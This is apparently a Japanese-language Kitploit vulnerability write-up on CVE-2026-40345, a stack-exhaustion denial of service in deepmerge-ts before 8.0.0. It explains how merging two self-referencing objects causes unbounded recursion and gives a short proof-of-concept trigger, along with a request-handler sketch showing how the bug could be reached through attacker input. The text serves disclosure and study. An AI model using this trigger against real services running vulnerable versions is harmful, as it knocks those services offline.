CVE-2026-40345 — deepmerge-ts 8.0.0 より前のスタック枯渇型サービス拒否（DoS）を再現し、悪用方法を文書化し、脆弱な依存関係のバージョン範囲をスキャンするスキャナを含みます。 | Kitploit

共有

deepmerge-ts < 8.0.0: 再帰的オブジェクトグラフ DoS

私は、deepmerge-ts の 8.0.0 より前のバージョンでスタック枯渇バグを再現しました。

興味深い点は、このクラッシュに巨大なネストオブジェクトは不要で、オブジェクトの同一性に起因するということです。マージされる両方の値が同じプロパティを通じて自分自身を参照している場合、マージルーチンは同じペアを訪問し続け、Node.js のスタック領域を使い果たします。

アドバイザリ: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 重大度: 高影響: 可用性

なぜこれが際立ったのか

ほとんどのマージテストは通常の JSON 形式のデータを使用します:

{
  user: {
    name: "alice"
  }
}

そのデータは非循環です。JavaScript オブジェクトは、自分自身や同じグラフ内の別のオブジェクトへの参照を含むこともできます。テストスイートが JSON フィクスチャのみを使用している場合、これらのケースは見落としがちです。

最も小さい失敗グラフは、同じ自己参照を持つ2つの別々のオブジェクトです:

const left = {};
left.self = left;

const right = {};
right.self = right;

内部で何が起こるか

レコードのマージは列挙可能なキーを走査し、各キーの値を収集して、それらの値に対して再度マージルーチンを呼び出します。影響を受けるリリースには、循環チェックや、以前に出現したオブジェクトペアの追跡はありません。

import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}